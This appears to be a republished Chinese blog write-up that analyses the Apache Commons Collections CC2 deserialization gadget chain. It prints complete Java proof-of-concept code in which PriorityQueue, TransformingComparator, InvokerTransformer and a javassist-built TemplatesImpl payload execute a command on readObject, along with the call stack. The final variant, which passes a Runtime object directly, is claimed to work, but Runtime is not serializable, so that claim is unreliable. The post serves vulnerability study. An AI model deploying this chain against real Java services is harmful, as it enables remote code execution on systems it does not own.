“白痴“上帝视角调节反序列化链之CC2

说是白痴上帝视角的原因在于我们拿到了poc，模拟不知道任何细节，去分析这个漏洞的形成原因。也可以说半黑盒状态，主要是锻炼一下分析能力。CC1的分析已经在之前的文章发过了。主要是拿来入门的，现在我们分析一下CC2.这篇文章也是重构，很早之前分析了一次，但是当时水平比现在还低，所以很多地方还不够清楚。现在重新分析一下。需要涉及到以下的知识点

javassist动态编程（主要是字节码修改操作，把他可以看成一个加强版的反射）

本来开始直接跟着poc调的，poc不是特别的友好，很多地方不清楚，那我们还是借助poc逆向来分析吧。

poc import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue;public class cc2 {public static void main(String[] args) throws Exception {String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";ClassPool classPool=ClassPool.getDefault();classPool.appendClassPath(AbstractTranslet);CtClass payload=classPool.makeClass("e0mlja");payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); byte[] bytes=payload.toBytecode();Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");field.setAccessible(true);field.set(templatesImpl,new byte[][]{bytes});Field field1=templatesImpl.getClass().getDeclaredField("_name");field1.setAccessible(true);field1.set(templatesImpl,"test");InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});TransformingComparator comparator =new TransformingComparator(transformer);PriorityQueue queue = new PriorityQueue(2);queue.add(1);queue.add(1);Field field2=queue.getClass().getDeclaredField("comparator");field2.setAccessible(true);field2.set(queue,comparator);Field field3=queue.getClass().getDeclaredField("queue");field3.setAccessible(true);field3.set(queue,new Object[]{templatesImpl,templatesImpl});ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));outputStream.writeObject(queue);outputStream.close();ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));inputStream.readObject();} }

了解反序列化的都知道，最终是调用了重写的ReadObject导致了反序列化。所以这里我们看看是PriorityQueue这个类导致了反序列化。我们看看他的ReadObject方法。

方法不大，仔细看看忍一下。heapify()特别瞩目（其实是因为没啥看的了）跟进去看看

siftDown

siftDownUsingComparator


这里我能火速的标记出来是因为之前已经调过了。跟到这里，comparetor调用了compare()方法，再进去就是进接口了。所以这里我们暂放一下，思考一下。是不是某个comparator接口的实现类或者实现类的子类赋值给了comparator()，其中他的compare()调用了其他的一些列方法导致了反序列化链？这里说说两个方法
（1）寻找Comparator的实现类，并且有compare()方法的类去找找。
（2）直接看poc，看看别人找到了哪个类。
本着说道做到的原则，说了当咸鱼就要躺到底，这一期当个白痴，直接看poc里给了哪个类。

看看这个类有哪些东西。卧槽？compare()方法里调用了transform，然后 this.transformer构造方法赋值我们可控。可真是小刀划屁股，着实让人开了眼。

来验证一下，自己写一个类hello，里面的e0mlja方法会弹出计算器。 import java.io.IOException; import java.io.Serializable;public class hello implements Serializable {public void e0mlja(){try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}} } //修改pochello h = new hello();InvokerTransformer transformer=new InvokerTransformer("e0mlja",null,null);TransformingComparator comparator =new TransformingComparator(transformer);//使用TrPriorityQueue queue = new PriorityQueue(2, (Comparator) comparator);queue.add(h);queue.add(h);//使用指定的初始容量创建一个 PriorityQueue，并根据其自然顺序对元素进行排序。Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段field3.setAccessible(true);//暴力反射field3.set(queue,new Object[]{hello.class,hello.class});ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));outputStream.writeObject(queue);outputStream.close();ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));inputStream.readObject(); //这里反射调用修改queue字段的原因是找了一下没有方法可以直接赋值。看看效果

不错，成功了。想一下我们现在有的东西，能够通过反序列化PriorityQueue，实现任一类的方法某个调用了。但前提是我们这个类必须要可序列化。我们从CC1知道，Runtime是不能直接序列化的。所以这里要利用CC1的话必须要构造transformerChain传入PriorityQueue中，但是很遗憾，类型转换失败，所以我们要寻找其他的出路了。其实我们的需求现在已经比较低了。我们自己写了一个类上去，现实中肯定没有开发敢这么写，第二天可能就要跑路。所以我们现在找一个办法，能够动态生成一个类，也可以打到一样的效果，这就用到了javassist动态编程了。这里不多介绍，以往文章应该发了，没法的话后续补上。有人可能会疑惑了，为啥不能直接生成一个新的类，添加方法。这是动态编程可以完成的。但是我们要知道生成的类是没有class的，需要调用修改都要用反射，所以是找不到我们想要执行的方法的。这里我们可以寻找一个其他的可以反序列化类，来生成这个对象。
这里选择了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的newTransformer()来实现。我们来看看这个类

这几个涉及方法的，我们都跟进去看看

最终发现了newTransformer()->getTransletInstance()->defineTransletClasses()->loader.defineClass(_bytecodes[i]) ->_class[_transletIndex].newInstance()。也就是说利用这条链子来加载并实例化了一个类。（注意，我们采用javassist生成的类的方法是静态方法，类在实例化的时候就会调用。）流程差不多清楚了，现在来看看我们要实现这个链子还需要什么条件。
getTransletInstance() 不需要任何条件即可执行
defineTransletClasses() (1) _name不为空 _class为空（构造方法中赋值，不传就行了）。
loader.defineClass(_bytecodes[i]) (1)_bytecodes不为空 (2)超类需要为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。




来看看构造完成后，在getTransletInstance()调用了newInstance()完成了类的实例化，执行了我们的恶意代码。

来看一下调用链 getTransletInstance:456, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) transform:129, InvokerTransformer (org.apache.commons.collections4.functors) compare:81, TransformingComparator (org.apache.commons.collections4.comparators) siftDownUsingComparator:721, PriorityQueue (java.util) siftDown:687, PriorityQueue (java.util) heapify:736, PriorityQueue (java.util) readObject:795, PriorityQueue (java.util) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeReadObject:1058, ObjectStreamClass (java.io) readSerialData:1909, ObjectInputStream (java.io) readOrdinaryObject:1808, ObjectInputStream (java.io) readObject0:1353, ObjectInputStream (java.io) readObject:373, ObjectInputStream (java.io) main:59, CC2

（1）最后总结一下。我们首先是在重构的PriorityQueue.readObject里面找到了heapify()方法。
（2）通过heapify()->siftDown()->siftDownUsingComparator()->Comparator.compare()实现了一条命令执行链，但是由于没有办法生成新的类，所以还需要找一个任意生成类的链子。
（3）newTransformer()->getTransletInstance()->defineTransletClasses()->loader.defineClass(_bytecodes[i]) ->_class[_transletIndex].newInstance()，通过这里，我们能将利用javassist动态生成的类的字节码传入到其中，实例化一个类调用我们定义的方法，造成任意命令执行。
这里突发奇想，如果说我直接将Runtime作为对象传入，然后动态调整这个CC链，是不是就不需要动态编程这一步了，直接就可以命令执行？事实证明，是可行的。

import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import javassist.CtNewMethod; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*; import java.lang.reflect.Field; import java.util.Comparator; import java.util.PriorityQueue;public class test_e0m {public static void main(String[] args) throws Exception {Runtime runtime = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class}, new String[]{"calc.exe"});TransformingComparator comparator =new TransformingComparator(invokerTransformer);//使用TrPriorityQueue queue = new PriorityQueue(2, (Comparator) comparator);queue.add(runtime);queue.add(runtime);//使用指定的初始容量创建一个 PriorityQueue，并根据其自然顺序对元素进行排序。Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段field3.setAccessible(true);//暴力反射field3.set(queue,new Object[]{Runtime.class,Runtime.class});ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));outputStream.writeObject(queue);outputStream.close();ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));inputStream.readObject();} }

谈了一下，这种方法的不便之处在于只能命令执行，需要实现什么得自己去找。javassist能够动态生成一个函数。但是需要依赖第三方累。当我们想要依赖的类不存在就用不起。用这个能够直接执行命令，但是对于一些不出网的情况，用起来就恼火，直接出网的能直接用。

【学习攻略】

总结

以上是生活随笔为你收集整理的“白痴“上帝视角调节反序列化链之CC2的全部内容，希望文章能够帮你解决所遇到的问题。

如果觉得生活随笔网站内容还不错，欢迎将生活随笔推荐给好友。